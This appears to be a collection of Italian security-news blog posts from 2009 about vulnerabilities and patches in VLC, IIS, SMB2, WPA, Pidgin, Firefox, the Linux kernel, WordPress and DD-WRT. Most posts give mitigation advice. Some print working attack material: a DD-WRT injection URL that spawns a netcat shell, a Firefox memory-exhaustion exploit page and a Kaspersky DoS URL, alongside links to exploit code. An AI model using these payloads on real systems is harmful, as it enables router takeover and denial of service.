vulnerabilità in VLC e FFmpeg

Gli sviluppatori di VLC hanno recentemente rilasciato il codice sorgente della versione 1.0.2 del loro lettore multimediale risolvendo diverse vulnerabilità di sicurezza. Le versioni che vanno dalla 0.5.0 alla 1.0.1 di VLC sono vulnerabili ad uno stack overflow che potrebbe portare all'esecuzione remota di codice arbitrario. Il codice non autorizzato viene eseguito nel momento in cui la vittima esegue un file MP4, ASF oppure AVI. Infine sono state trovate delle vulnerabilità anche in FFmpeg causate principalmente da puntatori NULL e heap overflow.


http://downloads.videolan.org/pub/vlc/1.0.2/

Codec Symbian S60/Nokia vulnerabili.

Sulla maggior parte degli smartphone Nokia che hanno installati i codec multimediali utilizzati da RealPlayer per la visualizzazione degli MMS, sono vulnerabili. Le vulnerabilità, possono essere sfruttate da un utente malintenzionato assumento il pieno controllo del programma ed eseguire codice arbitrario. Il Debug è stato effettuato su un smartphone Nokia N96 con la versione del firmware 11.018. Il bug può essere attivato direttamente all'interno di un MMS con un file video incorporato. Le vulnerabilità che sono state trovare sono al momento in queste librerie:

* rarender.dll
* STH264HWDecHwDevice.dll
* clntcore.dll
* HxMmfCtrl.dll
* mdfh264payloadformat.dll
* MMFDevSound.dll
* ArmRV89Codec.dll

Tutti i Nokia / Symbian S60 con RealPlayer sono a rischio. Per il momento consiglio di eseguire questi semplici passi:

* Eseguire aggiornamenti regolari del software
* Non installare applicazioni e servizi non necessari
* Utilizzare il software Anti Virus
* Fare attenzione quando si naviga sul Web
* Non aprire SMS, MMS o e-mail da sconosciuti

Per chi vuole approfondire consiglio la lettura del pdf scaricabile dal link pubblicato in questo post Problemi di sicurezza in Symbian OS

Windows Remote SMB 2.0 Denial of Service Exploit

Recentemente è stata scoperta una vulnerabilità che colpisce i sistemi Windows Vista e Windows 7. La vulnerabilità è presente nell' implementazione del protocollo SMB2 di Microsoft e può essere sfruttata da remoto mandando in crash o semplicemente riavviando il sistema. Tale vulnerabilità è dovuta essenzialmente ad un errore presente nel file srv2.sys che gestisce sostanzialmente le richieste dei client quando nel campo dell'intestazione del "Processo di High Id" è presente una e commerciale (&). L'attacco non richiede l'autenticazione e sfrutta la porta 445 del sistema targer. L'exploit permette di effetture un reboot del sistema windows vista. Provando l'exploit è stato possibile riavviare da remoto windows Vista. Secondo Laurent Gaffie, che ha scoperto la vulnerabilità, Windows Server 2008 potrebbe anche essere a rischio, in quanto tutti i sistemi usano lo stesso driver SMB2.0. Per quando riguarda Windows 2000 e XP, essi non sono vulnerabili semplicemente perchè non supportano SMB2. Attualmente consiglio di chiudere le porte SMB nelle impostazioni del firewall.

Exploit :

http://trac.metasploit.com/browser/framework3/trunk/modules/exploits/windows/smb/smb2_negotiate_func_index.rb

Aggiornamento per Lenny, Debian 5.0.3

Gli sviluppatori di Debian hanno rilasciato Il terzo aggiornamento della distribuzione stable di Debian GNU / Linux 5.0 (nome in codice Lenny). Grazie a questo aggiornamento è stato possibile correggere una serie di falle nella sicurezza. Tengo a specificare che questo aggiornamento non costituisce una nuova versione di Debian, ma vengono aggiornati soltanto alcuni dei pacchetti inclusi che sono reperibili su security.debian.org oppure tramite il comando apt-get update.

http://www.debian.org/News/2009/20090905

http://ftp.debian.org/debian/dists/lenny/ChangeLog

Script nmap Microsoft IIS FTPd NLST Remote Buffer Overflow

L'exploit(Microsoft IIS FTPd NLST Remote Buffer Overflow) è apparentemente reale: i responsabili della distribuzione Backtrack lo hanno provato creando anche una versione avanzata dello shellcode inserendo del codice che permette di effetture lo shell bind. Inoltre è stato anche creato uno script per Nmap in grado di individuare eventuali sistemi vulnerabili; lo script non fa altro che scansionare i server Microsoft che accettano connessione anonima al server ftpd e al contempo viene verificato anche se il comando mkdir viene eseguito correttamente. Al momento, non è disponibile un exploit per IIS6, ma presto exploit sarà in circolazine sulla rete. Per il momento, consiglio agli amministratori di disabilitare l'accesso in scrittura nell'FTP per ridurre la probabilità che un utente malintenzionato possa sfruttare la vulnerabilità.

script nmap:
http://blog.rootshell.be/wp-content/uploads/2009/08/IIS-FTP.nse

video della dimostrazione:

http://www.offensive-security.com/blog/vulndev/microsoft-iis-ftp-5-0-remote-system-exploit/

Microsoft IIS FTPd NLST Remote Buffer Overflow

E' stata scoperta una vulnerabilità che permette di ottenere i privilegi di root su un server Microsoft. La vulnerabilità riguarda in particolare il servizio FTP di Microsoft IIS 5 e IIS 6(con Stack Cookie Protectio attivo). Il codice sorgente dell'exploit scritto in perl è stato pubblicato in formato PDF da parte di "Kingcope" senza però conoscere in modo dettagliato i principi di funzionamento esatti. L'exploit praticamente contiene codice shell che effettua una connessione anonima al server FTP sotto attacco. Una volta connesso al server , esso crea due directory tramite il comando MKD. Il cuore dell'attacco, sembra essere innescato dal comando NLST che permette di visualizzare il contenuto di una directory. Per il momento l'unico modo apparentemente affidabile e consentire le connessione FTP agli utenti trust(fidati).

http://archives.neohapsis.com/archives/fulldisclosure/2009-08/att-0444/isowarez.pdf

Attacco al protocollo WPA( Wi-Fi Protected Access)

Nel lontano novembre 2008, si è scoperto un metodo "grezzo" che permetteva di effettuare il cracking del protocollo WPA(Wi-Fi Protected Access). Dopo circa un anno i ricercatori giapponesi, Toshihiro Ohigashi e Masakatu Morii, hanno perfezionato la techica di attaco rendendola piu efficace. L'obiettivo dell'attacco è quello di determinare il keystream durante la comunicazione tra l'Access Point (AP) e il client, senza che sia necessario conoscere la chiave originale. Il flusso dei pacchetti che transitano dall'AP al client possono essere decifrati. Se Ad esempio l'aggressore possiede il keystream è possibile crittografare dei pacchetti manipolati, come ad esempio ARP falsificati o pacchetti ICMP, e successivamente trasmetterli ad un cliente. La techica descritta precedenemente è praticamente una variante dell'attacco chopchop sviluppata originariamente da Martin Beck e Erik Tews che non permette di penetrare in una rete wireless, ma comporta la ricostruzione del checksum di un pacchetto intercettato e infine inviato all'AP. Infatti se il calcolo del checksum del pacchetto è corretto viene accettato dall'AP. Il protocollo TKIP(Temporal Key Integrity Protocol) viene generalmente utilizzato con il protocollo WPA, in quanto offre una varietà di misure di sicurezza, tra cui la funzionalità chiamta anti-chopchop. Se ad esempio un client riceve più di due pacchetti con validi Message Integrity Check (MIC) entro i 60 secondi, la connessione wi-fi viene terminata.

Inoltre il TKIP Sequence Counter (TSC) rende anche più macchinoso l'injection dei pacchetti intercettati limitando cosi attacchi di tipo replay. I ricercatori giapponesi hanno sperimentato una techica che permette di includere un attacco di tipo Man-in-the-middle in modo che il client non ha più un collegamento diretto con l'AP. Il PC utilizzato per l'attacco viene quindi usato come un ripetitore.

Durante la fase di attacco, l'attaccante mantiene semplicemente i pacchetti del client prima di inoltrarli alla AP. Questa tecica permette di bypassare i TKIP Sequence Counter (TSC). Ulteriori dettagli possono essere trovati in "A Practical Message Falsification Attack on WPA" reperibile in formato pdf:

http://jwis2009.nsysu.edu.tw/location/paper/A%20Practical%20Message%20Falsification%20Attack%20on%20WPA.pdf

Per il momento, raccomando di utilizzare WPA2 che è supportato nei router Wi-Fi piu moderni.

Vulnerabilità Denial of Service in Kaspersky anti-virus

Recentemente è stata scoperta una grave vulnerabilità di tipo Denial of Service in Kaspersky Internet Security 2010 e Anti-Virus 2010, che tramite l'invio di un URL appositamente creata è in grado di sovraccaricare la cpu impedendo al browser di accedere a qualsiasi pagina web. Il problema principale è dovuto nel parsing degli indirizzi URL in quando inserendo ad esempio un URL contiene più di 1024 punti(tabella ascii valore decimale 46) consecutivi , provoca un drastico aumento del carico della CPU da parte dell'eguibile avp.exe. La falla può essere attivata tramite un link contenuto in una pagine web oppure inviando una e-mail. Il bug è stato verificato in Kaspersky Internet Security 2010 9.0.0.459 per Windows Vista Enterprise e Kaspersky Anti-Virus 2010 9.0.0.463 per Windows XP Home Edition. Al momento non vi è un aggiornamento per risolvere il problema.

http://esempio.com/.................[ .xY dove 1024< Y]

Firewall Services Module(FWSM) ICMP Vulnerability

Recentemente è stata scoperta una vulnerabilità(Remotely Exploitable) che colpisce il Firewall Services Module (FWSM) in particolar modo la serie Catalyst 6500 series Switches e Cisco 7600 Series Routers. Tutte le versioni del software 2.x, 3.xe 4.x non aggiornate sono al momento vulnerabili. Security Cisco afferma che malipolando i pacchetti ICMP è possibile far si che il processore mandi in esecuzione tutti i possibili thead con il risultato che il sistma non può inoltrare piu pacchetti(praticamente un Dos)e quinti il FWSM) non è piu in grado di essere raggiuncibile da remoto. Il comando show np 2 stats puo essere usato per verificare se il problema si è gia verificato mostrando il senguente messaggio di errore: np_logger_query request. Per avere maggiori informazioni per quando riguarda l'aggiornamento del software, consultare http://www.cisco.com/en/US/products/products_security_advisories_listing.html oppure:

Solutione:

Upgrade to version 3.1(16), 3.2(13) or 4.0(6)
http://www.cisco.com/public/sw-center/index.shtml

Adium 1.3.6 risolta vulnerabilità criticha

Gli sviluppatori di Adium, hanno annunciato il rilascio della versione 1.3.6 del loro popolare Instant Messenger per Mac OS X. L'aggiornamento consente di risolvere la vulnerabilità critica segnalata nella libreria libpurple(Bug in Pidgin Instant Messenger). Questa libreria come sappiamo, viene utilizzata da Adium e altri client di messaggistica istantanea, tra cui Pidgin e Meebo. Adium supporta una vasta gamma di servizi, come AIM, MSN, Yahoo!, Jabber, ICQ, Facebook e MySpace IM chat. La release 1.3.6 implementa il plug-in aggiornato che permette di chattare con Facebook senza la necessità di collegarsi al sito. L'aggiornamento del plug-in di facebook permette ad ad esempio di bloccare le notifiche e-mail indesiderate. Gli sviluppatori stanno gia lavorando per la prossima release di Adium 1.4, con una carrelata di novità come ad esempio il supporto al social network Twitter. Il ramo di Adium 1,4 richiede Mac OS X 10.5 o superiore e gli utenti interessati a testare l'attuale versione beta possono aderire al beta testing consentendo 'Update per le versioni beta quando disponibile' nella loro attuale installazione di Adium, oppure è possibile scaricare direttamente dalla pagina del download. Maggiori informazioni circa il rilascio può essere trovato nel changelog. Adium 1.3.6 è disponibile per il download per Mac OS X 10.4 o superiore ed rilasciato sotto la licenza GNU General Public License (GPLv2).

Bug in Pidgin Instant Messenger

CoreSecurity ha recentemente scoperto una vulnerabilità critica nel client Pidgin Instant Messenger. La causa del problema è un bug nella libreria libpurple utilizzati da Pidgin che gestisce i messaggi Msn Slp: una sequenza di messaggi appositamente creati può provocare un buffer overflow ed esporre il sistema all'esecuzione arbitraria di codice, sovrascrivendo i segmenti di memoria. L'attacco consiste nel mandare due messaggi consecutivi MSNSLP. Il primo è utilizzato per memorizzare un slpmsg con i nostri ID di sessione, e la seconda per attivare la vulnerabilità. Il nostro obiettivo è quello di raggiungere è invocare la funzione memcpy () in msn_slplink_process_msg. Prima di tutto, abbiamo bisogno di inviare un messaggio MSN SLP con un offset pari a zero, che costruisce praticamente un oggetto slpmsg, in modo che Libpurple è in grado di memorizzarla in memoria. Il seconda messaggio MSNSLP deve avere un valore di offset diverso da zero. infine la chiamata alla funzione msn_slplink_message_find () ritorna l'oggetto precedente, invece di NULL. Ciò significa che siamo in grado di scrivere il contenuto dei dati in una posizione arbitraria inferiore ad esempio all'indirizzo 0x01ffffff(dimensione del pacchetto inviato con il primo messaggio) - len, che consente l'esecuzione di codice arbitrario in quasi tutte le piattaforme. Infine sono stati scoperti altri due bug minori: il primo in grado di mandare in crash il sistema nel caso di un trasferimento di file le cui dimensioni eccedano la memoria disponibile, e il secondo che porta ad analoghe conseguenze a causa di un denial of service causabile da un messaggio Msn Slp creato appositamente. La vulnerabilità è stata fissata in Pidgin / libpurple 2.5.9. Se volete stare al sicuro dovete semplicemente installare la versione più recente. L'ultima versione per Windows rimane, comunque, la versione 2.5.8. Altre applicazioni, come Adium sono interessati dalla vulnerabilità.

Firefox 3.5.2

È disponibile per il download la versione 3.5.2 di Firefox. Questa nuova release risolve vulnerabilità critiche. Gli utenti che già utilizzano la versione 3.5.1 riceveranno automaticamente l’aggiornamento in queste ore; ricordiamo che è comunque possibile avviare manualmente la ricerca degli aggiornamenti attraverso l’apposito comando nel menu Aiuto.Per quando riguarda il ramo 2.0, non vengono più rilasciati aggiornamenti di sicurezza e stabilità, mentre per il ramo 3.0.x non saranno più rilasciati aggiornamenti di sicurezza a partire dal gennaio 2010. Consiglio di effettuare quanto prima il passaggio alla versione 3.5 (dopo aver verificato i requisiti di sistema).

Windows
Sistemi operativi

* Windows 2000
* Windows XP
* Windows Server 2003
* Windows Vista

Requisiti hardware minimi

* Pentium 233 MHz (Consigliato: Pentium 500MHz o superiore)
* 64 MB RAM (Consigliato: 128 MB RAM o superiore)
* 52 MB di spazio libero su disco

Mac
Sistemi operativi

* Mac OS X 10.4 e successivi

Requisiti hardware minimi

* computer Macintosh con processore Intel x86 o PowerPC G3, G4 o G5
* 128 MB RAM (Consigliato: 256 MB RAM o superiore)
* 200 MB di spazio libero su disco

Linux
Requisiti software

Alcune distribuzioni Linux potrebbero fornire pacchetti specifici con requisiti diversi.

* Firefox non potrà funzionare in assenza delle seguenti librerie o pacchetti:

* GTK+ 2.10 o successivo
* GLib 2.12 o successivo
* Pango 1.14 o successivo
* X.Org 1.0 o successivo

* Per una funzionalità ottimale, raccomandiamo le seguenti librerie o pacchetti:

* NetworkManager 0.7 o successivo
* DBus 1.0 o successivo
* HAL 0.5.8 o successivo
* GNOME 2.16 o successivo

smartphone in pericolo. Rischio sms

Alla Black Hat Conference USA 2009 è stato dimostrato come l’iPhone ma anche tutti gli smartphone basati su Android e Windows Mobile potrebbero essere in pericolo inviando semplicemente un SMS. Nel talk “Fuzzing the Phone in your Phone” http://www.blackhat.com/presentations/bh-usa-09/MILLER/BHUSA09-Miller-FuzzingPhone-PAPER.pdf , Miller e Mulliner hanno spiegato come sia possibile, attraverso una serie di messaggi concatenati, mandare in crash l’iPhone e Android. Per ora Windows Mobile è ancora oggetto di analisi da parte dei due ricercatori, che comunque si dicono fiduciosi di poter trovare una falla anche nel sistema made in Redmond. Per quanto riguarda iPhone, Miller e Mulliner sono riusciti, con una serie di SMS appositamente forgiati, a mandare in crash CommCenter, il servizio che regge tutto lo stack telefonico sul melafonino. Con Android le cose sono andate praticamente allo stesso modo, l’attacco in questo caso ha interessato il demone “/system/bin/rild”. Come spiegato dagli autori per Windows Mobile le cose sono state un po’ più complicate e al momento i ricercatori stanno attaccando lo stack telefonico del sistema operativo. Per condurre gli attacchi i ricercatori si sono serviti di Sulley, un fuzzing framework in Python, scaricabile da Google Code attraverso SVN.

vulnerabilità nel firmware DD-WRT

DD-WRT è un firmware gratuito rilascito sotto licenza GNUv2 per alcuni router Wi-Fi, tra cui il Linksys WRT54G. Recentemente, l'attuale versione stabile del firmware soffre di una grave vulnerabilità che consente di mandare in esecuzione determinati programmi sfruttando i privilegi di root. La vulnerabilità è causata da una gestione poco furba dei metacaratteri presenti all'interno della stringa di ricerca del processo http-server(httpd). Un metacarattere o carattere jolly è un carattere che, all'interno di una stringa, non rappresenta sé stesso bensì un insieme di altri caratteri o sequenze di caratteri. Per quando rigurda l'interfaccia di gestione GUI, essa viene eseguita con i massimi diritti e quindi permette ad un attaccante di inserire all'interno della URL dei comandi che consentono anche di prendere il pieno controllo del rotuer. Come sappiamo di default l'interfaccia web del DD-WRT può essere raggiunta solo attraverso l'interfaccia LAN, pero questa limitazione può essere facilmente aggirata, per esempio con un attacco ti tipo CSRF(Cross-Site Request Falsificazione) che consente praticamente di iniettare l'exploit all'interno del browser. Un attacco di CSRF sfrutta la possibilità di ricreare richieste POST o GET su determinati siti web, per poi essere proposto in un modo per il quale l'utente loggato nel sistema eseguirà i comandi senza essere a conoscenza di cosa relmente sta succedendo. È possibile infine scaricare il fix direttamente dal sito ufficiale http://www.dd-wrt.com

http://IP-router/cgi-bin/;nc$IFS-l$IFS-p$IFS\5555$IFS-e$IFS/bin/sh

Buffer overflow in firefox 3.5.1

Dopo solo 4 giorni dalla scoperta della vulnerabilità di Tracemonkey, è stata subito trovata una nuova vulnerabilità su Firefox 3.5.1 definita critica da IBM Internet Security Services e da National Vulnerability Database. Questa volta è possibile sfruttare un buffer overflow che tramite il linguaggio JavaScript, è possibile passare al metodo document.write() una stringa Unicode(la dimensine di ogni carattere è di 2

byte) abbastanza lunga da causare anche l'esaurimento della memoria del calcolatore. Mozilla foundation non ha ancora rilasciato una patch, e per il momento consiglio di disabilitare JavaScript fino a quando non verrà risolto il problema. Per disabilitare JavaScript è possibile farlo aggiungendo questo add-ons per firefox reperibile su: https://addons.mozilla.org/it/firefox/addon/722

Exploit esempio:

<html>
<head>
<script language="JavaScript" type="Text/Javascript">
var str = unescape("%u4141%u4141");
var str2 = unescape("%u0000%u0000");
var finalstr2 = mul8(str2, 49000000);
var finalstr = mul8(str,   21000000);


document.write(finalstr2);
document.write(finalstr);

function mul8 (str, num) {
var i = Math.ceil(Math.log(num) / Math.LN2),
 res = str;
do {
 res += res;
} while (0 < --i);
return res.slice(0, str.length * num);
}
</script>
</head>
<body>
</body>
</html>
<html><body></body></html>

Exploit nel kernel Linux 2.6.30

Lo sviluppatore Brad Spengler che lavora per il proggetto Grsecurity, ha recentemente pubblicato un exploit che sfrutta una vulnerabilità nell'interfaccia TUN nel kernel Linux 2.6.30 e 2.6.18, usati in Red Hat Enterprise Linux 5 (RHEL5). Come sappiamo i driver che permettono la creazine di periferiche di rete virtuali vengono chiamati TUN/TAP. Rispetto alle comuni periferiche (ad es. eth0) che sono controllate direttamente dalle schede di rete, i pacchetti spediti da o verso dispositivi TUN/TAP sono spediti da o verso programmi software. TUN è in grado di simulare una periferica di rete di tipo punto-punto e lavora con pacchetti di tipo IP mentre TAP è in grado di simulare un dispositivo Ethernet e logicamente utilizza i frame Ethernet. Questa vulnerabilità permette ad un malintenzionato di ottenere i privilegi di root. Di particolare interesse è il fatto che l'exploit è anche in grado di aggirare le estensioni di sicurezza come SELinux. Secondo Spengler, la vulnerabilià è stata trovata solo in queste due versioni del kernel. Il problema è causato da una funzione di ottimizzazione del GCC. Il codice riportato di seguito è il responsabile del problema:

static unsigned int tun_chr_poll(struct file *file, poll_table * wait)

struct sock *sk = tun->sk; // initialize sk with tun->sk
…
if (!tun)
return POLLERR; // if tun is NULL return error

In cuore della vulnerabilità, è in particolare l'istruzine if(!Tun) che dovrebbe restituire un errore se TUN è 0 (nullo). Il compilatore praticamente ottimizza il blocco if eliminando il controllo per puntatori nulli, in quanto la variabile è già deferenziata. L'operazione piu` importante che viene eseguita sui puntatori e quella di dereferenziazione al fine di ottenere accesso all'oggetto puntato. A questo punto, il kernel potrebbe tentare di accedere all''indirizzo 0x00000000 e quindi un utente malintenzionato può cambiare il puntatore ed eseguire uno shellcode. L'exploit quindi, deve essere in grado di aprire il dispositivo /dev/net/tun e utilizzare i moduli caricabili da PulseAudio, che in alcune distribuzioni hanno il bit di SUID attivo. Il codice deve essere in grado deve anche disattivare il "mmap_min_addr" che praticamente limita la quantità di spazio di indirizzamento di un processo. Le future versioni del kernel saranno compilate utilizzando l'opizione "FNO-eliminare-null in modo che il compilatore non elimina i controlli per puntatori nulli.

Exploit: http://www.grsecurity.net/~spender/cheddar_bay.tgz

Disponibile Nmap 5.0

Gli sviluppatori di Insecure.org hanno annunciato il rilascio della versione 5.0 di Nmap, il popolare network mapper . Alcune delle novità piu importanti, sono l'aggiunta di Ndiff che permette di confrontare i file numericamente, utile quando si vogliono confrontare gli output di programmi di calcolo numerico trascurando le differenze di formato e di rappresentazione dei numeri. Inoltre con NSE(Nmap Scripting Engine) permette agli utenti di creare script per automatizzare i compiti più comuni di rete. Con questa caratteristica Nmap diventa uno strumento in grado di effettuare operazioni di recupero informazioni, oppure identificare le vulnerabilità di un sistema e permette quindi anche di ottenere un rapporto con le differenze fra la situazione precedente è quella attuale; maggiori informazioni su NSE sono reperibili nella documentazione ufficiale. Un'altra importante novità di Nmap 5.0 è l'aggiunta di una versione di Ncat ossia il classico “coltellino svizzero” degli hacker. Questa volta si tratta di un Netcat più potente, in grado anche di effettuare trasferimenti di file cifrati.

Per quando riguarda il front-end grafico di Nmap ossia Zenmap GUI è stato aggiornato e migliorato. Zenmap è utile per facilitare la vita a chi si trova in difficoltà con la linea di comando; ma è anche dotato ora di una funzione, la Network Topology che fornisce una rappresentazione grafica animata e in tempo reale della rete analizzata. Per maggiori informazini, visitare http://nmap.org/changelog.html Infine per chi è interessato, consiglio la letture del mio articolo Raccogliere informazioni sul nostro computer

Nuova Vulnerabilità in firefox 3.5

Il portale Milw0rm ha recentemente pubblicato un exploit per Firefox 3.5 che dimostra una nuova vulnerabilità critica nell’interprete JavaScript che potrebbe mettere il browser open source in serio pericolo. Il problema riguarda Tracemonkey, il compilatore JIT (Just In Time) per JavaScript che Mozilla ha sviluppato per tenere il passo della concorrenza in tema di velocità di esecuzione delle applicazioni web. La Mozilla Foundation è stata informata del problema ed è già al lavoro per proporre un aggiornamento nel più breve tempo possibile in quanto un aggiornamento attualmente non esiste. Nel frattempo, si consiglia agli utenti di disabilitare Tracemonkey, con le seguenti operazioni:

1) inserire nella barra degli indirizzi about:config;

2) dopo aver promesso di fare attenzione, scrivere nella casella del filtro in alto jit, in modo da mostrare solo le opzioni che ci interessano;

3) fare doppio click sull’opzione javascript.options.jit.content in modo da impostare il suo valore a false;

Questa per il momento è la soluzione per attenuare la falla, con un calo di prestazioni di Firefox 3.5, in quanto utilizzerà il vecchio interprete JavaScript (quello di Firefox 3.0). Non appena Mozilla Foundation rilascerà l’aggiornamento di sicurezza insieme alla già prevista versione 3.5.0.1, occorrerà ripetere le operazioni di sopra, impostando questa volta il valore a true. In alternativa è possibile avviare Firefox in Modalità provvisoria (Safe mode): questa modalità oltre al compilatore JavaScript disabilita anche tutte le estensioni.

Nuova Vulnerabilità in Wordpress 2.8!

Core Security ha recentemente scoperto una nuova vulnerabilità su Wordpress, uno dei migliori software per la creazione e la gesione di blog. In particlare gli utenti registrati, ma senza privilegi, sono in grado di esaminare le pagine di configurazione del plug-in e di cambiare le loro opzioni. Il cuore della vulnerabilità è attribuito al plug-in "admin.php", in quanto non verifica i diritti di accesso ai file. Core Labs, nella sua relazione, ha elencato alcuni esempi di URL per dimostrare come i plug-in - compreso il modulo per la WP PHPIDS (PHP-Intrusion Detection System) possono essere manipolati.

Il plug-in "Related Ways To Take Action" è soggetto ad eventuali attacchi di tipo scripting cross-site che permettono a un utente malintenzionato di esegure del JavaScript all'interno del browser della vittima, per leggere, ad esempio, il contenuto dei cookie del sistema. Le versioni di Wordpress al momento vulnerabili sono: tutte le versioni fino alla Wordpress 2.8 e fino a Wordpress MU (multi-user) 2.7.1. Queste vulnerabilità possono essere eliminate utilizzando la versione 2.8.1 e MU 2.8.1, che dovrebbero essere presto disponibili per il download. Attualmente, la versione 2.8.1 è disponibile solo come distribuzione candidate. Per il momento questa vulnerabilità può essere attenuata controllando l'accesso ai file all'interno della cartella wp-admiutilizzando il file (.Htaccess) di Apache.

Per maggiori dettagli:

http://www.securityfocus.com/bid/35581
http://www.securityfocus.com/bid/35584

http://corelabs.coresecurity.com/index.php?action=view&type=advisory&name=WordPress_Privileges_Unchecked

Il portale Milw0rm ha chiuso!

www.milw0rm.com uno dei maggiori portali piu popolati su internet oggi ha smesso di operare. Nella sua pagina principale ha lasciato il seguente messaggio che informa la chiusura del portale:

For the past 3 months I have actually done a pretty crappy job of getting peoples work out fast enough to be proud of. 0 to 72 hours isn't fair to the (exploit) authors on this site.

Str0ke l'operatore del portale, non spiega chiaramente se questa decisione è semplicemente dovuto ad una mancanza di tempo oppure ad un crescente numero di exploit, e quindi non sappiano con esattezza se l'intero database sarà ancora disponibile. E' inoltre possibile che in questi giorni, altri membri della comunità si facciano avanti per sostenere str0ke ed offrire la loro completa disponibilità per mandare avanti la gestione dell'intero portale. Per gli interessati ,il portale www.packetstormsecurity.org attivo ormai da più di dieci anni,è una possibile alternativa a milwOrm.